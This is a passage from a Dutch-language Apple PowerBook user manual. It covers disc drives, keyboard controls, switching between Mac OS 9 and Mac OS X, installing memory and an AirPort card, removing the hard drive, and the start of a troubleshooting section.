leverancier of via de Apple Store op het Internet (www.apple.com/nlstore).
Een cd- of dvd-schijf in de speler plaatsen
Om programma's vanaf een cd- of dvd-schijf te installeren of uit te voeren, gaat u als volgt te
werk:
1 Zet de computer aan, plaats de schijf met het etiket naar boven in de sleuf totdat u voelt dat
de schijf naar binnen wordt getrokken.
®
Gaatje voor het
verwijderen van schijven
PaperclipWerken met de computer 63
2 Zodra het symbool van de schijf op het bureaublad verschijnt, kunt u de schijf gebruiken.
Een schijf uit de speler verwijderen
U verwijdert een schijf uit de speler door het symbool van de schijf naar de prullenmand te
slepen of door de mediaverwijdertoets ( ) op het toetsenbord ingedrukt te houden.
Als u een schijf niet kunt verwijderen, gaat u als volgt te werk:
m Sluit de programma's of bestanden die gebruikmaken van de schijf en probeer het
opnieuw.
m Start de computer opnieuw op en houd de knop van het stuurvlak ingedrukt totdat de
speler wordt geopend.
m Als dit niet werkt, steekt u het uiteinde van een paperclip in het gaatje naast de
verwijderknop (rechts naast de sleuf van de dvd-romspeler) om de interne verwijderknop
in te drukken. Deze procedure kunt u alleen uitvoeren als de PowerBook aan staat.
Dvd-schijven afspelen
U kunt met de dvd-speler ook dvd-schijven afspelen op de PowerBook. Plaats de dvd-schijf in
de speler en ga als volgt te werk:
m Kies in Mac OS 9 'Apple dvd-speler' uit het Apple-menu (K).
m Start in Mac OS X het programma 'Apple dvd-speler' in de map 'Applications' op de harde
schijf.
Als u de PowerBook met behulp van een S-videokabel op een televisie aansluit (raadpleeg
pagina 55) om een dvd-video op het televisiescherm te bekijken, selecteert u 720 x 480 NTSC
( Verenigde Staten) of 720 x 576 PAL (Europa en alle overige regio's).
m Gebruik in Mac OS 9 de module 'Beeldschermresolutie' in de Regelbalk.
m Gebruik in Mac OS X het tabblad 'Beeldscherm' in het paneel 'Beeldschermen' van het
programma 'Systeemvoorkeuren'.
Opmerking: Wanneer u een extern beeldscherm hebt aangesloten, kunt u dvd's alleen
afspelen in de modus voor een extra groot bureaublad. U kunt geen dvd's afspelen in de
modus 'Synchrone weergave'.
U kunt de PowerBook eenvoudig op een stereo-installatie aansluiten. Verbind de
koptelefoonpoort (f) op de PowerBook met de geluidsinvoerpoorten op de stereoinstallatie via een kabel met een ministekker en een RCA-stekker (niet meegeleverd).
Belangrijk In de dvd-romspeler van de PowerBook kunnen ronde schijven met een
diameter van 12 cm of 8 cm worden geplaatst. Schijven met een afwijkende vorm en schijven
met een diameter van minder dan 8 cm kunt u niet gebruiken. Schijven die niet rond zijn,
kunnen in de speler vast komen te zitten.64 Hoofdstuk 3
Meer informatie over de dvd-speler
Voor instructies bij het gebruik van Apple dvd-speler opent u het programma en kiest u
vervolgens 'Apple dvd-speler Help' uit het Help-menu.
Optionele cd-rw-speler
Als de PowerBook een cd-rw-speler heeft, kunt u uw favoriete muziek, programma's en
bestanden op cd-r- en cd-rw-schijven opslaan. U kunt uw eigen muziek-cd's samenstellen, die
u vervolgens op elke standaard-cd-speler kunt afspelen. U kunt ook computerbestanden,
zoals programma's, documenten of andere digitale bestanden, opslaan op een beschrijfbare
cd.
Cd-r-schijven (cd-recordable) kunt u slechts eenmaal beschrijven. Als u gegevens op een cd-rschijf hebt opgeslagen, kunt u deze gegevens niet meer wijzigen. Afhankelijk van het
programma dat u gebruikt, is het mogelijk gegevens toe te voegen totdat de schijf vol is.
Raadpleeg de documentatie bij het programma voor meer informatie over het beschrijven
van cd-r-schijven. Voor het opnemen van audio-cd's kunt u het beste cd-r-schijven gebruiken.
Op de meeste cd-spelers kunnen namelijk geen cd-rw-schijven worden afgespeeld.
Op een cd-rw-schijf (cd-rewritable) kunt u meerdere malen gegevens opslaan en wijzigen.
Met sommige programma's voor het opnemen van mediabestanden op cd (zoals Disc Burner
van iTunes) kunt u echter slechts eenmaal gegevens op de schijf opslaan.
Een cd in de speler plaatsen
Om een programma vanaf cd te installeren of te gebruiken, gaat u als volgt te werk:
1 Zet de computer aan, plaats de schijf met het etiket naar boven in de sleuf totdat u voelt dat
de schijf naar binnen wordt getrokken.
2 Zodra het symbool van de schijf op het bureaublad verschijnt, kunt u de schijf gebruiken.
Kies 'iTunes Help' uit het Help-menu voor meer informatie over het opslaan van
muziekbestanden op cd met behulp van iTunes.
Een schijf uit de speler verwijderen
U verwijdert een schijf uit de speler door het symbool van de schijf naar de prullenmand te
slepen of door de mediaverwijdertoets ( ) op het toetsenbord ingedrukt te houden.
Als u een schijf niet kunt verwijderen, doet u het volgende:
Belangrijk In de cd-rw-speler van de PowerBook kunnen ronde schijven met een diameter
van 12 cm of 8 cm worden geplaatst. Schijven met een afwijkende vorm en schijven met een
diameter van minder dan 8 cm kunt u niet gebruiken. Schijven die niet rond zijn, kunnen in
de speler vast komen te zitten.Werken met de computer 65
m Sluit de programma's of bestanden die gebruikmaken van de schijf en probeer het
opnieuw.
m Start de computer opnieuw op en houd de knop van het stuurvlak ingedrukt totdat de
speler wordt geopend.
Regelaars op het toetsenbord en programmeerbare
functietoetsen
Met de regelaars op het toetsenbord kunt u snel de instellingen van bijvoorbeeld het volume
en de helderheid van het beeldscherm aanpassen en een cd of dvd verwijderen.
Het toetsenbord van de PowerBook bevat ook vijf extra toetsen die u kunt configureren
om veelgebruikte programma's of documenten in Mac OS 9 te openen. Deze toetsen
worden programmeerbare functietoetsen genoemd. U kunt met deze toetsen
bijvoorbeeld de webbrowser, een tekstverwerkingsprogramma of uw favoriete spelletje
openen. En zodra u meerdere programma's hebt gestart, kunt u met behulp van de
toetsen snel tussen deze programma's schakelen.
Programmeerbare functietoetsen toewijzen
Als u in Mac OS 9 voor het eerst op een van de functietoetsen drukt, verschijnt een
dialoogvenster waarin u de functietoets aan een bepaald programma kunt toewijzen. In het
regelpaneel 'Toetsenbord' kunt u de instellingen van de functietoetsen wijzigen.
®
¤ Helderheids-
regelaars
- Volume-
toetsen Speciale functietoetsen
Cd/dvd-verwijdertoets
Functietoets (Fn)De standaardfunctietoetsen gebruiken
U kunt een regelaar of programmeerbare functietoets snel veranderen in een standaardtoets
door op de Fn-toets te drukken terwijl u op de desbetreffende toets drukt. Ook kunt u met
het regelpaneel 'Toetsenbord' in Mac OS 9 de prioriteit wijzigen, zodat de
standaardfunctietoetsen de primaire toetsen zijn en de schermregelaars en
programmeerbare functietoetsen de secundaire toetsen. (U drukt dan bijvoorbeeld op de Fntoets om de helderheid van het beeldscherm aan te passen.) In Mac OS X kunt u de
functietoetsen configureren met behulp van het paneel 'Toetsenbord' van het programma
'Systeemvoorkeuren'.
Het numerieke toetsenblok gebruiken
De meeste bureaucomputers hebben naast het gewone toetsenbord een apart blok met
numerieke toetsen. Op de PowerBook is het numerieke toetsenblok ingebed in het
toetsenbord. De toetsen die ook voor het numerieke toetsenblok worden gebruikt, zijn
voorzien van een extra label.
Om het numerieke toetsenblok te activeren, drukt u op de Num Lock-toets op het
toetsenbord. Als het toetsenblok actief is, brandt het lampje naast de Num Lock-toets. Als u
klaar bent, drukt u nogmaals op de Num Lock-toets om het numerieke toetsenblok weer uit
te schakelen.
Opmerking: wanneer het numerieke toetsenblok actief is, zijn de andere toetsen en
sneltoetsen (zoals x-Q om programma's te verlaten) uitgeschakeld.
®
Numeriek toetsenblok
Num Lock-toetsWerken met de computer 67
Meer informatie over de regelaars op het toetsenbord
Raadpleeg 'Mac Help' (zie pagina 44) voor meer informatie over het configureren van de
regelaars op het toetsenbord en het toewijzen van functietoetsen. Kies 'Mac Help' uit het
Help-menu en zoek op 'toetsenbord'.
Beveiliging en toetsenbordvergrendeling
U kunt een antidiefstalkabel en een slot aanschaffen om de PowerBook tegen diefstal te
beschermen. Met een slot kunt u de computer aan een bureau of tafel bevestigen.
Ook het toetsenbord van de PowerBook heeft een vergrendelingsmechanisme. Als het
toetsenbord is vergrendeld, kunt u het niet omklappen en zijn de interne onderdelen,
waaronder het RAM-geheugen, niet toegankelijk.
Dit vergrendelingsmechanisme bevindt zich op het plastic schuifje links van de Num Locktoets, waarop zich ook het Num Lock-indicatielampje bevindt. Het toetsenbord is niet
vergrendeld wanneer u de PowerBook aanschaft.
U vergrendelt het toetsenbord door het schroefje met een schroevendraaiertje met platte
kop een halve slag naar rechts te draaien. Een schuifje voorkomt dat het toetsenbord kan
worden verwijderd.
Opmerking: De vergrendelingsschroef heeft een uitsparing waaraan u kunt zien of het
toetsenbord is vergrendeld of niet. Als de uitsparing zich aan de bovenkant van de schroef
bevindt, is het toetsenbord niet vergrendeld. Als de uitsparing zich aan de onderkant bevindt,
is het toetsenbord vergrendeld.
®
Voorbeeld van beveiliging
met antidiefstalkabel
Opening voor antidiefstalkabel68 Hoofdstuk 3
Meer informatie over beveiliging
Raadpleeg 'Mac Help' (zie pagina 44) voor meer informatie over de
beveiligingsvoorzieningen van programma's op de PowerBook, zoals wachtwoorden voor
meerdere gebruikers en bestanden coderen. Kies 'Mac Help' uit het Help-menu en zoek op
'beveiliging' of 'meerdere gebruikers'.
Opmerking: Als u met Mac OS 9 werkt, is het regelpaneel 'Wachtwoordbeveiliging', dat op
oudere modellen beschikbaar is, niet compatibel met de PowerBook. Dit regelpaneel is niet
op de computer geïnstalleerd.69
H O O F D S T U K
4
4 Werken met het besturingssysteem
Een besturingssysteem is de bureaubladomgeving van de computer. Deze omgeving bepaalt
hoe de onderdelen op het bureaublad worden weergegeven en hoe u met de onderdelen
kunt werken. Elk besturingssysteem werkt anders.
Op de computer is Mac OS 9 als standaardbesturingssysteem geïnstalleerd. Als u de
computer voor het eerst opstart, wordt de computer opgestart met Mac OS 9. Op de
computer bevinden zich ook Mac OS X en 'Classic', een technologie die u in staat stelt in Mac
OS X met Mac OS 9-programma's te werken.
Bepaalde programma's werken niet optimaal onder Mac OS X of 'Classic'. Deze programma's
kunt u het beste gebruiken in Mac OS 9. Als u alleen werkt met Mac OS 9-programma's en de
speciale functies van Mac OS X niet nodig hebt, kunt u instellen dat de computer wordt
opgestart met Mac OS 9. In dit hoofdstuk vindt u informatie over een aantal functies van Mac
OS X en 'Classic', en instructies voor het selecteren van een ander besturingssysteem.70 Hoofdstuk 4
Mac OS X
Start de computer met Mac OS X en ervaar de geavanceerde technologie van dit
besturingssysteem, zoals de elegante nieuwe gebruikersinterface, de geweldige grafische
mogelijkheden en de verbeterde stabiliteit en prestaties. Alle computerprocessen worden
met Mac OS X uitgevoerd, zodat u zich volledig op uw werk kunt concentreren. Met Mac
OS X hoeft u niet in te zitten over hoe de computer na een fout in een programma
opnieuw moet worden gestart. Het programma wordt simpelweg afgesloten en u kunt
zonder onderbreking doorwerken. Dankzij het virtuele-geheugenbeheer van Mac OS X
wordt aan elk programma precies de juiste hoeveelheid geheugen toegewezen. Raadpleeg
de handleiding Welkom bij Mac OS X voor meer informatie over dit besturingssysteem.
Deze handleiding bevat een beschrijving van de functies in Mac OS X en tips voor Mac OS 9-
gebruikers over het uitvoeren van Mac OS 9-taken in Mac OS X. Als zich problemen
voordoen, raadpleegt u het gedeelte "Problemen oplossen" achter in de handleiding of
kiest u 'Mac Help' uit het Help-menu in Mac OS X.
De compatibiliteit van programmatuur met Mac OS X
Raadpleeg voor meer informatie over de compatibiliteit van programma's met Mac OS X of
voor meer informatie over Mac OS X de volgende website van Apple: guide.apple.com/
macosx/
'Classic' gebruiken in Mac OS X
In de Classic-omgeving kunt u behalve alle Mac OS X-programma's ook alle Mac OS 9-
programma's gebruiken. 'Classic' wordt in de achtergrond gebruikt voor toegang tot Mac
OS 9-functies en -programma's. Als 'Classic' is gestart, werkt de Mac OS 9-programmatuur in
Mac OS X precies zoals in Mac OS 9. Er wordt echter niet gebruikgemaakt van Mac OS Xfuncties, zoals de nieuwe gebruikersinterface. Het enige wat u hoeft te doen is een Mac OS 9-
programma openen of dubbel klikken op een document dat in een Mac OS 9-programma is
gemaakt. Als 'Classic' op dat moment niet actief is, wordt het automatisch gestart.
'Classic' wordt vervolgens in de achtergrond uitgevoerd, zelfs als er geen Classic-programma's
zijn geopend, zodat het openen van Mac OS 9-programma's en -documenten sneller en
eenvoudiger verloopt. U kunt instellen dat 'Classic' automatisch wordt gestart wanneer u
inlogt onder Mac OS X. Kies hiervoor 'Systeemvoorkeuren' uit het Apple-menu (K), klik op
'Classic' en selecteer 'Start 'Classic' bij inloggen op computer'.
Belangrijk Omdat Mac OS X al op de computer is geïnstalleerd, hoeft u de installatieinstructies in Welkom bij Mac OS X niet meer door te lezen. Neem in plaats daarvan de
instructies voor het inloggen en werken met Mac OS X door.Werken met het besturingssysteem 71
Als u 'Classic' wilt stoppen, klikt u op de knop 'Stop' in het paneel 'Classic' van het
programma 'Systeemvoorkeuren'. Vervolgens kunt u wijzigingen die u hebt aangebracht in
de Classic-documenten opslaan en 'Classic' stoppen.
Schakelen tussen besturingssystemen
Als u de computer voor het eerst opstart, wordt de computer opgestart met Mac OS 9. U
kunt echter schakelen tussen Mac OS 9 en Mac OS X. Als u Mac OS X hebt geselecteerd,
wordt de computer opgestart met Mac OS X, totdat u Mac OS 9 kiest als besturingssysteem.
Om in te stellen dat de computer wordt opgestart met Mac OS X, gaat u als
volgt te werk:
1 In Mac OS 9 kiest u 'Regelpanelen' uit het Apple-menu (K) en vervolgens 'Opstartschijf' uit
het submenu.
2 Klik in het regelpaneel 'Opstartschijf' dubbel op de harde schijf met de besturingssystemen
en selecteer de systeemmap van Mac OS X als de opstartschijf. Klik op het driehoekje links
van het symbool voor de harde schijf als u wilt zien welke systeemmappen op de harde schijf
zijn geïnstalleerd.
Start de computer opnieuw op.
Opmerking: doordat Apple regelmatig nieuwe versies en updates uitbrengt van haar
systeemprogrammatuur, wijkt het versienummer van de besturingssystemen Mac OS X en
Mac OS 9 in deze handleiding mogelijk af van de versie die op de computer is geïnstalleerd.
Belangrijk Verwijder het besturingssysteem Mac OS 9 niet van de computer. De Classicomgeving werkt alleen als Mac OS 9 is geïnstalleerd.72 Hoofdstuk 4
Om in te stellen dat de computer wordt opgestart met Mac OS 9, gaat u als
volgt te werk:
1 Kies 'Systeemvoorkeuren' uit het Apple-menu (K) en klik op 'Opstartschijf'.
2 Selecteer de systeemmap van Mac OS 9 als de opstartmap. (Als de symbolen niet beschikbaar
zijn, klikt u op het vergrendelingssymbool onder in het venster en typt u de gebruikersnaam
en het wachtwoord dat u eerder hebt opgegeven in de configuratie-assistent.) Raadpleeg
Welkom bij Mac OS X voor meer informatie over het inloggen als beheerder.
3 Start de computer opnieuw op.
Bepaalde taken en programma's kunt u alleen uitvoeren in Mac OS 9. U kunt op elk gewenst
moment instellen met welk Mac OS-besturingssysteem de computer moet worden gestart.
Problemen?
Kies 'Mac Help' uit het Help-menu en klik op de blauwe onderstreepte tekst voor meer
informatie over de functies van de Macintosh computer. Of typ een vraag in het veld 'Zoek'
en druk op de Return-toets op het toetsenbord. 73
H O O F D S T U K
5
5 Extra apparatuur installeren of de
batterij vervangen
Dit hoofdstuk bevat informatie over de manier waarop u extra apparatuur installeert en de
batterij vervangt, plus de bijbehorende instructies.
In dit hoofdstuk komen de volgende procedures aan bod:
m “Extra geheugen installeren” op pagina 73
m “De interne harde schijf verwijderen” op pagina 82
m “Een AirPort-kaart installeren” op pagina 91
Extra geheugen installeren
De computer heeft twee geheugensleuven boven elkaar. U krijgt toegang tot deze sleuven
door het toetsenbord te verwijderen. De computer wordt geleverd met een geheugen van
128 MB SDRAM (Synchronous Dynamic Random-Access Memory) in de onderste sleuf. In de
bovenste geheugensleuf kunt u een SDRAM-module installeren die voldoet aan de volgende
specificaties:
m SO-DIMM-formaat (Small Outline-Dual Inline Memory Module)
m 1,25 inch of kleiner
m 64, 128, 256 of 512 MB
m 144-pens
m "PC-133" RAM
Attentie Aanbevolen wordt om de installatie van extra geheugen of het verwijderen van
de interne harde schijf uit te laten voeren door een door Apple erkende technicus. In het
bij de computer geleverde boekje over service en ondersteuning door Apple vindt u
hierover meer informatie. Eventuele schade die ontstaat doordat u de installatie zelf
uitvoert, valt niet onder de garantie die u op de computer hebt.74 Hoofdstuk 5
U kunt ook SDRAM-modules van oudere typen PowerBook-computers gebruiken die
voldoen aan deze specificaties.
U kunt maximaal 1 GB RAM-geheugen op de PowerBook installeren, verdeeld over twee 512-
MB DIMM-modules in elk van de RAM-sleuven.
Extra RAM-geheugen installeren
1 Zet de computer uit. Koppel de lichtnetadapter, de telefoonkabel en alle andere op de
computer aangesloten kabels los.
2 Draai de computer om en verwijder de batterij.
Deze maatregelen dienen om te voorkomen dat u de computer per ongeluk aanzet terwijl u
geheugen installeert.
Batterij
Ontgrendeling
Attentie De interne onderdelen van de PowerBook kunnen heet zijn. Als u de
PowerBook kort tevoren hebt gebruikt, laat u de interne onderdelen van de computer
een half uur afkoelen voordat u verder gaat. Extra apparatuur installeren of de batterij vervangen 75
3 Controleer of de vergrendelingsschroef van het toetsenbord niet is aangedraaid. Bij levering
is het toetsenbord van de PowerBook niet vergrendeld. U kunt deze stap dan ook overslaan,
tenzij het toetsenbord door uzelf of iemand anders is vergrendeld.
4 Ontgrendel het toetsenbord door de schuifjes links van de F1- en F9-toets naar u toe te
trekken en til vervolgens het bovenste gedeelte van het toetsenbord omhoog.
®
®76 Hoofdstuk 5
5 Til het bovenste gedeelte van het toetsenbord een stukje omhoog en trek het van u af, zodat
de lipjes vrijkomen die het onderste gedeelte van het toetsenbord op zijn plaats houden.
6 Klap het toetsenbord om zodat het op de polssteunen en het stuurvlak komt te liggen.
7 Raak één van de metalen onderdelen in de computer aan om eventuele statische elektriciteit
te ontladen.
®
® Extra apparatuur installeren of de batterij vervangen 77
8 Kijk waar de bovenste RAM-uitbreidingssleuf zich bevindt.
9 Houd de RAM-uitbreidingskaart in een hoek van 30 graden ten opzichte van de
uitbreidingssleuf. Zorg dat de uitsparing in de kaart zich recht tegenover het lipje in de RAMuitbreidingssleuf bevindt. Duw de RAM-uitbreidingskaart vervolgens in de uitbreidingssleuf.
Mogelijk voelt u enige weerstand. Als het niet lukt om de kaart in de sleuf te duwen, probeert
u eerst de ene zijde en dan de andere zijde in de uitbreidingssleuf te drukken.
®
Bovenste
RAMsleuf
Onderste
RAM-sleuf
(bezet)
®
Plaats de RAM-uitbreidingskaart
in een hoek van 30 graden
30
O78 Hoofdstuk 5
10 Duw de RAM-uitbreidingskaart voorzichtig aan totdat de twee uitsparingen aan weerszijden
van de kaart vastklikken.
11 Klap het toetsenbord terug en plaats de lipjes aan de onderzijde van het toetsenbord in de
corresponderende openingen in de behuizing van de PowerBook.
®
® Extra apparatuur installeren of de batterij vervangen 79
12 Trek de schuifjes links van de F1- en F9-toets naar u toe en duw vervolgens het bovenste
gedeelte van het toetsenbord naar beneden.
13 Laat de schuifjes los om het toetsenbord te vergrendelen.
14 Draai de PowerBook om en plaats de batterij weer terug.
15 Sluit de lichtnetadapter en alle andere kabels weer aan.
®80 Hoofdstuk 5
Controleren of de computer het nieuwe geheugen herkent
Nadat u extra geheugen op de PowerBook hebt geïnstalleerd, dient u te controleren of de
computer het nieuwe geheugen herkent. Ga als volgt te werk:
1 Start de computer op.
2 Als het bureaublad verschijnt, kiest u 'Over deze computer' uit het Apple-menu (K).
In Mac OS 9
In Mac OS X
Totale hoeveelheid
geheugen in de
PowerBook
Totale hoeveelheid geheugen
in de PowerBook Extra apparatuur installeren of de batterij vervangen 81
Het totale geheugen bestaat uit het geheugen dat al in de computer was geïnstalleerd en het
geheugen dat u hebt toegevoegd. Voor een gedetailleerder overzicht van het geheugen in de
computer start u Apple Systeemprofiel. Kies in Mac OS 9 'Apple Systeemprofiel' uit het
Apple-menu (K). Open in Mac OS X de map 'Applications', open vervolgens de map
'Utilities' en klik dubbel op 'Apple System Profiler' om het programma te starten.
Als het geheugen niet wordt herkend of als de computer niet op de juiste manier opstart, zet
u de PowerBook uit en raadpleegt u nogmaals de instructies om te zien of het geheugen
compatibel is met deze PowerBook en of u het correct hebt geïnstalleerd. Als het probleem
niet is opgelost, verwijdert u de geheugenmodule en raadpleegt u de documentatie bij uw
Apple product voor meer informatie over service en ondersteuning door Apple. 82 Hoofdstuk 5
De interne harde schijf verwijderen
Als de computer is uitgeschakeld, kunt u de interne harde schijf verwijderen, bijvoorbeeld
om de schijf te repareren of veilig op te bergen.
1 Zet de computer uit. Koppel de lichtnetadapter, de telefoonkabel en alle andere op de
computer aangesloten kabels los.
2 Leg een zachte doek voor u op tafel.
De doek dient ter bescherming van het toetsenbord en beeldscherm wanneer u de
PowerBook omdraait. Zorg ervoor dat de doek groot genoeg is voor de PowerBook en dat de
doek over de rand van de tafel hangt.
3 Klap het beeldscherm van de PowerBook open, draai de PowerBook om en leg deze op de
rand van de tafel. Zorg ervoor dat het gewicht van de computer op de tafel rust en niet op
het beeldscherm.
Zachte doek Bovenkant van het
beeldscherm rust
op uw schoot
Belangrijk Klap het beeldscherm niet verder open dan hierboven getoond. Extra apparatuur installeren of de batterij vervangen 83
4 Verwijder de batterij door de ontgrendeling naar links te schuiven. Vergeet niet de
ontgrendeling hierna weer helemaal naar rechts te schuiven.
5 Verwijder de acht schroeven waarmee de behuizing aan de onderkant van de PowerBook is
bevestigd in de hieronder aangegeven volgorde. Gebruik een Torx T-8-schroevendraaier.
Attentie De interne onderdelen van de PowerBook kunnen heet zijn. Als u de PowerBook
kort tevoren hebt gebruikt, laat u de interne onderdelen van de computer een half uur
afkoelen voordat u verder gaat.
7
8
5
2
3
4
1
684 Hoofdstuk 5
6 Schuif de onderkant voorzichtig van u af.
7 Til de onderkant van de behuizing op zoals getoond in de onderstaande afbeelding.
8 Raak één van de metalen onderdelen in de computer aan om eventuele statische elektriciteit
te ontladen.
Belangrijk Draai de behuizing niet heen en weer. Schuif de onderkant van de behuizing
eerst helemaal naar voren voordat u deze optilt. Indien u weerstand voelt wanneer u de
onderkant optilt, controleert u nogmaals of de onderkant van de computer helemaal naar
voren is geschoven en niet meer vastzit aan de sleuf van de optische-schijfeenheid. Extra apparatuur installeren of de batterij vervangen 85
9 Koppel de connectorkabel los van de hoofdprintplaat.
10 Verwijder met een Torx T-8-schroevendraaier de twee schroeven waarmee de hardeschijfhouder aan de beugel is bevestigd. Verwijder de harde schijf voorzichtig.
Connectorkabel
Schroeven86 Hoofdstuk 5
De harde schijf en de onderkant van de behuizing terugplaatsen
Om de harde schijf terug te plaatsen, gaat u als volgt te werk:
1 Verwijder de schroef aan de bovenkant van de bevestigingsbeugel van de harde schijf.
2 Til de bevestigingsbeugel op en draai de beugel voorzichtig over het eerste lipje van de
batterijnis. Het lipje zorgt ervoor dat de beugel niet in de weg zit.
Bevestigingsbeugel
Lipje van
batterijnis
Schroef
Attentie Til de beugel niet hoger dan nodig is om de beugel over het lipje van de
batterijnis te bewegen. Als u de beugel boven het lipje tilt, kan de beugel beschadigd
raken. Eventuele schade valt niet onder de garantie die u op de computer hebt. Extra apparatuur installeren of de batterij vervangen 87
3 Plaats de twee schroeven in de twee rubberen dopjes en schroef ze vast in de linkerkant van
de schijf. Controleer vervolgens of de onderkant, de linkerkant en de rechterkant van de
schijf worden bedekt door het Mylar-omhulsel.
4 Plaats eerst de rechterkant van de schijf en vervolgens de linkerkant van de schijf. Bepaal met
behulp van de gaten in de schijfhouder de juiste positie van de schijf ten opzichte van de
beugel.
Schroef
Mylar-omhulsel Rubberen dopje88 Hoofdstuk 5
5 Til de beugel over het lipje van de batterijnis en duw de beugel omlaag naar de
oorspronkelijke positie. Bevestig de schroef aan de bovenkant van de beugel. Draai de
schroef niet te vast.
6 Sluit de connectorkabel van de harde schijf op de hoofdprintplaat aan.
Schroef Bevestigingsbeugel
Connectorkabel Extra apparatuur installeren of de batterij vervangen 89
7 Plaats de onderkant van de computer weer terug en draai de acht schroeven vast in de
hieronder aangegeven volgorde.
Lijn de uitsparingen aan de linker- en rechterkant van de behuizing uit. Duw de onderkant
van de behuizing voorzichtig omlaag om deze te bevestigen. Zorg ervoor dat de onderkant
van de behuizing en het frame goed op elkaar aansluiten. Controleer de buitenste randen en
de naden rondom de batterijnis. Controleer of de gaten voor de schroeven zich precies
boven elkaar bevinden, zodat u zeker weet dat de onderkant op de juiste manier wordt
bevestigd.
8 Plaats de batterij weer terug en draai de computer om.
2
1
7
6
4
5
8
390 Hoofdstuk 5
9 Controleer of de behuizing bij de sleuf van de optische-schijfeenheid juist is bevestigd.
Als er onder de sleuf van de optische-schijfeenheid een spleet te zien is, trekt u voorzichtig
de onderzijde van de sleuf naar u toe, zodat de optische-schijfeenheid correct in de
behuizing wordt bevestigd en de spleet verdwijnt.
10 Sluit de lichtnetadapter en alle andere kabels weer aan.
®
Sleuf optischeschijfeenheid Extra apparatuur installeren of de batterij vervangen 91
Een AirPort-kaart installeren
Als er geen AirPort-kaart in de computer is geïnstalleerd, kunt u een AirPort-kaart aanschaffen
bij uw Apple leverancier of via de Apple Store op www.apple.com/nlstore. Vervolgens kunt u
de AirPort-kaart zelf installeren of door een door Apple erkende serviceaanbieder laten
installeren.
Als u een AirPort-kaart in de PowerBook wilt installeren, dient u de onderkant van de
computer te verwijderen. Volg de instructies in het vorige gedeelte, “De interne harde schijf
verwijderen” op pagina 82. Ga daarna als volgt te werk:
1 Als de AirPort-kaart is geleverd met een AirPort-adapter, verwijdert u de metalen klem en
trekt u de AirPort-kaart uit de adapter. (De adapter en de klem zijn niet geschikt voor de
PowerBook.)
2 Raak één van de metalen onderdelen in de computer aan om eventuele statische elektriciteit
te ontladen.
3 Koppel de AirPort-antenne los van de antennehouder.
4 Schuif de AirPort-kaart met de AirPort-ID's en de streepjescode naar boven in de connector.
AirPortantenne92 Hoofdstuk 5
Duw de kaart goed aan totdat u voelt dat deze stevig op de connector is aangesloten.
5 Sluit de AirPort-kaart aan op het uiteinde van de antennekabel.
Controleer of het stekkertje aan het uiteinde van de antennekabel recht is voordat u deze op
de kaart aansluit. Als de antennekabel is aangesloten, controleert u of het uiteinde van de
kabel vastzit met het kleine schuifje, zoals weergegeven in de onderstaande afbeelding.
6 Schuif het plastic afdekplaatje op de AirPort-kaart over de bovenkant van de kaart.
Plaats de onderkant van de computer weer terug. Volg de instructies in het vorige gedeelte,
“De interne harde schijf verwijderen” vanaf pagina 85.
AirPort-kaart
Schuifje antenne
Belangrijk Het is belangrijk dat u het plastic afdekplaatje over de kaart schuift. Als u dit
niet doet, kunt u de onderkant van de computer niet goed terugplaatsen.93
H O O F D S T U K
6
6 Problemen oplossen
Het kan voorkomen dat u problemen ondervindt tijdens het gebruik van de PowerBook. De
oorzaak van deze problemen heeft meestal te maken met een onjuiste instelling van de
programmatuur of het gebruik van programma's of extensies die niet compatibel zijn met de
Mac OS-versie (de systeemprogrammatuur) op de computer. Andere minder waarschijnlijke
oorzaken zijn problemen met het Mac OS (die meestal verholpen zijn nadat u de
systeemprogrammatuur opnieuw hebt geïnstalleerd of hebt bijgewerkt) en problemen met
de onderdelen van de computer, zoals het geheugen of de harde schijf.
In de meeste gevallen zijn problemen met de computer snel en eenvoudig op te lossen. Ga
in geval van een probleem na wat zich voorafgaand aan het probleem heeft voorgedaan. Om
een duidelijk overzicht van de eventuele oorzaken te krijgen, is het handig om op papier te
zetten welke handelingen u hebt uitgevoerd voordat het probleem optrad. Schrijf op:
m met welk programma u werkte toen het probleem optrad (problemen die zich alleen
voordoen wanneer u met een bepaald programma werkt, kunnen erop wijzen dat het
programma niet compatibel is met de Mac OS-versie die op de computer is geïnstalleerd);
m welke programmatuur u recentelijk hebt geïnstalleerd, met name programmatuur die
mogelijk onderdelen aan de Systeemmap heeft toegevoegd (bij bepaalde programma's
worden extensies geïnstalleerd die mogelijk niet compatibel zijn met de Mac OS-versie die
op de computer is geïnstalleerd);
m welke nieuwe apparatuur (zoals extra geheugen of een randapparaat) u hebt
geïnstalleerd.
Inhoud van dit hoofdstuk
Dit hoofdstuk bevat oplossingen voor problemen met de computer waardoor u niet verder
kunt werken, zoals een vastgelopen systeem of problemen met opstarten. Voor meer
informatie over het oplossen van problemen raadpleegt u Mac Help (zie pagina 44) of de
Support-website van Apple op www.apple.com/nl/support.94 Hoofdstuk 6
Problemen die het gebruik van de computer verhinderen
De computer reageert niet of de aanwijzer kan niet meer worden verplaatst.
m Druk op de Command-toets (x) en typ tegelijkertijd een punt (.). Klik in het
dialoogvenster dat verschijnt op 'Annuleer'.
m Als dat niet werkt, houdt u de Option-toets en de Command-toets (x) ingedrukt en drukt
u vervolgens op de Escape-toets. Klik in het dialoogvenster dat verschijnt op 'Stop'. Sla
vervolgens uw werk in alle openstaande programma's op en start de computer opnieuw
op om te controleren of het probleem volledig is opgelost.
m Als het niet lukt om het programma te verlaten, houdt u de Aan/uit-knop (®) een paar
seconden ingedrukt om de computer uit te schakelen.
m Als de computer dan nog steeds niet reageert, probeert u de computer opnieuw op te
starten door tegelijkertijd op de Command- (x) Control- en Aan/uit-toets (®) op het
toetsenbord te drukken.
m Als ook dit niet lukt, probeert u het met de reset-knop op het achterpaneel van de
computer (raadpleeg pagina 22). Druk de reset-knop voorzichtig in met het uiteinde van
een paperclip. Controleer of de knop weer in de oorspronkelijke positie terugkeert en
druk vervolgens op de Aan/uit-knop (®) om de computer opnieuw op te starten.
Als u op de reset-knop hebt gedrukt, is het mogelijk dat u de datum en de tijd opnieuw moet
instellen (met het regelpaneel 'Datum en tijd' (Mac OS 9) of met het paneel 'Datum en tijd'
van het programma 'Systeemvoorkeuren' (Mac OS X)).
Als het probleem regelmatig voorkomt, kiest u 'Mac Help' uit het Help-menu. Raadpleeg het
gedeelte over het voorkomen en oplossen van problemen. Mogelijk doen zich
extensieconflicten voor of moet u de systeemprogrammatuur opnieuw installeren. Als het
probleem zich alleen bij een bepaald programma voordoet, informeert u bij de fabrikant van
het programma of het compatibel is met de computer.
De computer loopt vast tijdens het opstarten of er verschijnt een knipperend
vraagteken op het scherm.
